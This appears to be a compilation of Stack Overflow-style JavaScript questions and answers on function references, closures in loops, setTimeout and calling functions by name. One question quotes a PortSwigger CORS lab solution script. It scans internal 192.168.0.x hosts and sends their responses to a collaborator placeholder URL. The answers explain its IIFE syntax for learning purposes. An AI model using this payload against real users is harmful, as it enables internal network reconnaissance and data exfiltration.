Function naming and launching - javascript

Why this is working:
JS
$(gallery_1 + " .gallery_comandi #next").click(function avanti_gallery() {
contatore ++;
if (contatore > tot_immagini) {
contatore = 1;
cambia_immagine ();
}
else { cambia_immagine ();
};
});
And this isn't? This second cose executes the function. Why? Shouldn't it be lauched by a command like avanti_gallery()?
JS
function avanti_gallery() {
contatore ++;
if (contatore > tot_immagini) {
contatore = 1;
cambia_immagine ();
}
else { cambia_immagine ();
};
};
$(gallery_1 + " .gallery_comandi #next").click(avanti_gallery());

You're passing the result, not the reference to the function.
Try this
$(gallery_1 + " .gallery_comandi #next").click(avanti_gallery);

With
$(gallery_1 + " .gallery_comandi #next").click(avanti_gallery());
...you're calling the function and passing the return value into click, exactly the same as foo(bar()) calls bar and passes the return value into foo.
Ditch the ():
$(gallery_1 + " .gallery_comandi #next").click(avanti_gallery);
// Here -----------------------------------------------------^
The reason your first one works is that you're only defining, not calling, the function. The () after the name in that expression are just part of the definition (specifically, part of the named function expression), whereas the () in the second example are actually calling the function.
It may be easier to tell the difference if we remove click from the picture:
Your first one:
var f = function avanti_gallery() {
contatore ++;
if (contatore > tot_immagini) {
contatore = 1;
cambia_immagine ();
}
else { cambia_immagine ();
};
};
(I need the var f = at the beginning or the named function expression changes into a function declaration, which although it looks the same is quite different, and it shows visually that we're using the resulting function reference)
Your second one:
var f = avanti_gallery();

Related

Understanding a construct in a javascript snippet

I was looking at the solution of the Cors Lab (https://portswigger.net/web-security/cors/lab-internal-network-pivot-attack) and wanted to understand the code, but I am not very familiar with javascript, and despite trying searching a lot I didn't come up with an answer.
The snippet is this:
var q = [],
collaboratorURL = 'http://$collaboratorPayload';
for (i = 1; i <= 255; i++) {
q.push(
function(url) {
return function(wait) {
fetchUrl(url, wait);
}
}('http://192.168.0.' + i + ':8080'));
}
for (i = 1; i <= 20; i++) {
if (q.length) q.shift()(i * 100);
}
function fetchUrl(url, wait) {
var controller = new AbortController(),
signal = controller.signal;
fetch(url, {
signal
}).then(r => r.text().then(text => {
location = collaboratorURL + '?ip=' + url.replace(/^http:\/\//, '') + '&code=' + encodeURIComponent(text) + '&' + Date.now()
}))
.catch(e => {
if (q.length) {
q.shift()(wait);
}
});
setTimeout(x => {
controller.abort();
if (q.length) {
q.shift()(wait);
}
}, wait);
}
What I am having problems with is the following:
for(i=1;i<=255;i++){
q.push(
function(url){
return function(wait){
fetchUrl(url,wait);
}
}('http://192.168.0.'+i+':8080'));
}
At a high level I understand what they are trying to do but inside this for loop, I cannot understand what the function passed to the push does, and how does
('http://192.168.0.'+i+':8080')
links to the push function.
Essentially they declare and call an anonymous function, which then returns another anonymous function, which gets pushed onto the array.
So, it could also be written like this:
function urlToFunc(url) {
return function(wait) { fetchUrl(url, wait); }
}
// later on
q.push(urlToFunc('http://192.168.0.'+i+':8080'));
.push simply adds the function returned by that funcion to the array q.
Another way to write it, which is less confusing imo, is like so:
q.push((wait)=>{ fetchUrl('http://192.168.0.'+i+':8080', wait); });
What that snippet does is it pushes a function that, when invoked, calls fetchUrl with two arguments:
The URL, which is the 'http://192.168.0.'+i+':8080' (passed into the IIFE - the immediately invoked function expression, which calls the inner function immediately, with a url of 'http://192.168.0.'+i+':8080')
The wait, which is the argument the array item is called with later (like in q.shift()(wait);)
It's a confusing piece of code though. Since ES6 syntax is being used, it would make far more sense simply to declare i with let in the for loop. Then, every function pushed to the array can simply reference i instead of requiring an IIFE:
for (let i = 1; i <= 255; i++) {
q.push(
function(wait) {
fetchUrl('http://192.168.0.' + i + ':8080', wait);
}
);
}
This is equivalent to the original snippet.

Why it printing last element

I'm trying this javascript code
var txt = "", txtLen = 0, elem='';
var speed=90;
function write( obj ) {
txt = obj.str;
speed = obj.speed;
elem = obj.elem;
txtLen = txt.length;
setTimeout("loop()", 300);
}
var c=0;
function loop() {
if( c <= txtLen ){
document.getElementById(elem).innerHTML+=txt.charAt(c);
c++;
setTimeout("loop()", speed);
} else {
c=0;
}
}
but in html when i call write function two time its prints only last one, like this-
<font id="o"></font><br>
<font id="oo"></font>
<script>
write({
elem:'o',
speed:90,
str:'Hello'
});
write({
elem:'oo',
speed:90,
str:'World'
});
</script>
Can anyone tell me please, where the error is??
This should work
function loop(obj, c) {
if( c <= obj.str.length ){
document.getElementById(obj.elem).innerHTML += obj.str.charAt(c);
setTimeout(loop, obj.speed, obj,c+1);
}
}
function write( obj ) {
setTimeout( loop, 300, obj, 0);
}
The setTimeout function optionally can take variables that will be passed to the callback function
Because you are executing the printing asyncronously, so when you print the first one, the second one already modified your vars.
What you are facing is called impure functions.
Impure functions
All of them which modifies its external
environment, usually called side effect.
Any function that uses a non-local variable is potentially impure, for example:
function impure(x) { return x + a; }
The idea to solve it is transform your impure functions into pure functions. What does it mean? A pure function is a function which does not modify its external enviromnent.
Pure functions
All of them which does not modify its external
environment, for example:
function pure(x, a) { return x + a; }
Below you have your example working:
<font id="o"></font>
<br>
<font id="oo"></font>
<script>
function write( obj ) {
setTimeout(() => {
loop(obj, 0);
}, 300);
}
function loop(obj, c) {
if( c <= obj.str.length ){
document.getElementById(obj.elem).innerHTML += obj.str.charAt(c);
setTimeout(() => {
loop(obj, c + 1);
}, obj.speed);
}
}
write({
elem:'o',
speed:90,
str:'Hello'
});
write({
elem:'oo',
speed:90,
str:'World'
});
</script>
As you see, loop function takes nothing from its external environment any more.
Sharing vars is not a good option when you are working asyncronously.
Hope It helps you.

Run the function only once at the same time

I have the following problem. First of all my code so far:
function Auktionator() {
this.versteigern = function(objekt) {
for(var i = 1; i <=3; i++) {
setTimeout(function(x) { return function() { console.log(objekt + " zum " + x); }; }(i), 1000*i);
}
};}
Now I want that only one Auktionator object can run the function at the same time, but I donĀ“t know, how to do it.
Keep track of the number of timeouts running and use a guard clause to prevent concurrent runs.
function Auktionator() {
this.versteigern = function (objekt) {
if (Auktionator.LOCKS > 0) {
console.log('running');
return;
}
for (var i = 1; i <= 3; i++) {
Auktionator.LOCKS++;
setTimeout(function (x) {
return function () {
console.log(objekt + " zum " + x);
Auktionator.LOCKS--;
};
}(i), 1000 * i);
}
};
}
Auktionator.LOCKS = 0;
new Auktionator().versteigern()
new Auktionator().versteigern()
The hacky workaround would be to add a variable isRunning:
// Static variable shared by all instance
Auktionator.isRunning = false;
Then, when you start executing, you check if Auktionator.isRunning === false, set it to true and set it back to false when you're done.
You have a great variety of options to execute code after some async calls:
Promises, some libraries or some awesome stuff brought by ES6.
You could have a global variable
var function_in_use = 0
and then add
function_in_use = 1 at the very beginning of the function's contents and add function_in_use = 0 immediately before the return statement. You could then wrap the entire contents in an if statement: if (!function_in_use) { ....
I don't know if this would suit your particular needs. This would be similar to how #import "filename" statements work in the C language.

Call a function from a string in JS

I have an array of strings that I wish to use as callbacks, but the below code is not working.
When running the function, I'm getting the error TypeError: fn is not a function logged when callback_array contains only update_front_page_images.
callback_array currently only contains 1 element (update_front_page_images), which is the name of a function I wish to run.
Can someone please let me know what I am doing wrong?
function run_reset_callbacks(callback_array){
for(var key in callback_array){
try {
fn = window[callback_array[key]];
fn();
}
catch(err) {
console.log('Function \''+callback_array[key]+'\' does not exist. '+err);
}
}
}
Make sure you're defining your functions in a way that you can call them as window[] if you want to use this model. You need to define your functions as variables on the window object. A standard function definition will fail.
http://jsfiddle.net/HpXYM/2/
//Works
window.hello = function () {
alert("hello");
};
//Works
test = function () {
alert("test");
};
//Fails
function fail() {
alert("fail")
};
This should solve the problem if you are set on this method but I would recommend you follow Matt Ball's advice.
Change your Scope! I think you are not able to access window:
JS Fiddle Link
var outputDiv = document.getElementById('output');
// Wrong
var cbArray = ['update_front_page_images', 'dummyFunction']; // Array created from PHP
function update_front_page_images() {
outputDiv.innerHTML = outputDiv.innerHTML+ '<br/>' + 'Called me? I am "update_front_page_images" !!';
}
function dummyFunction() {
outputDiv.innerHTML = outputDiv.innerHTML+ '<br/>' + 'Called me? I am "" !!';
}
// -- Wrong
// Right
var cbArray = {
'update_front_page_images': function() {
outputDiv.innerHTML = outputDiv.innerHTML+ '<br/>' + 'Called me? I am "update_front_page_images" !!';
},
'dummyFunction': function() {
outputDiv.innerHTML = outputDiv.innerHTML+ '<br/>' + 'Called me? I am "dummyFunction" !!';
}
}
// -- Right
// your Code
function run_reset_callbacks(callback_array){
for(var key in callback_array){
try {
fn = window[callback_array[key]]; // Wrong
fn = callback_array[key]; // Right
fn();
}
catch(err) {
outputDiv.innerHTML = 'Function \''+callback_array[key]+'\' does not exist. '+err;
}
}
}
run_reset_callbacks(cbArray);
Arrays should be enumerated with an indexed loop:
for (var i = 0; i < callback_array.length; i++) { ... }
If callback_array is really a literal object, the approach above is fine, but it would be safer to check for hasOwnProperty before evaluating the property.
if(callback_array.hasOwnProperty(key)) { ... } // use it
Otherwise, make sure that update_front_page_images is within the global scope and ready for evaluation at the time this function is called.

Get return value after SetTimeout

I've just asked about calling functions by name, now I want to process return statement after SetTimeout:
function ECall(funcName, arg)
{
command += "(";
for (var i=1; i<arguments.length; i++)
{
command += "'" + arguments[i] + "'";
if (i != arguments.length-1) command += ',';
}
command += ")";
//var funcPtr = eval(funcName);
//return funcPtr(arg); // This works, but I need SetTimeout
setTimeout('window[\'' + funcName + '\']' + command, 1000);
}
setTimeout works great, but I have to save return value of called function. When I write: setTimeout('alert(window[\'' + funcName + '\']' + command + ')', 1000);
It alerts return value of function. How can I store it?
You don't need to use any of this string manipulation. Just pass a function reference to window.setTimeout(). To store the returned value of the function, simply assign it to a variable in the function you pass to window.setTimeout()
var savedValue;
function ECall(funcName)
{
var args = Array.prototype.slice.call(arguments, 1);
var func = window[funcName];
window.setTimeout(function() {
savedValue = func.apply(this, args);
}, 1000);
}
If you wanted to return a value from ECall, it won't work.
The setTimeout is asynchronous, which means that the ECall will return before the setTimeout code is invoked.
Or if you wanted the alert() to be part of the setTimeout, you could pass an anonymous function. Also, it would be better to not pass a string to the setTimeout.
I'd do this instead:
function ECall(funcName, arg)
{
// Get an Array of the arguments, except for the first one.
var args = Array.prototype.slice.call( arguments, 1 );
// Pass an anonymous function that calls the global "funcName" function
// inside the alert().
// It uses .apply() to pass the arguments we sliced.
setTimeout( function() {
alert( window[ funcName ].apply( window, args ) );
}, 1000);
}

Categories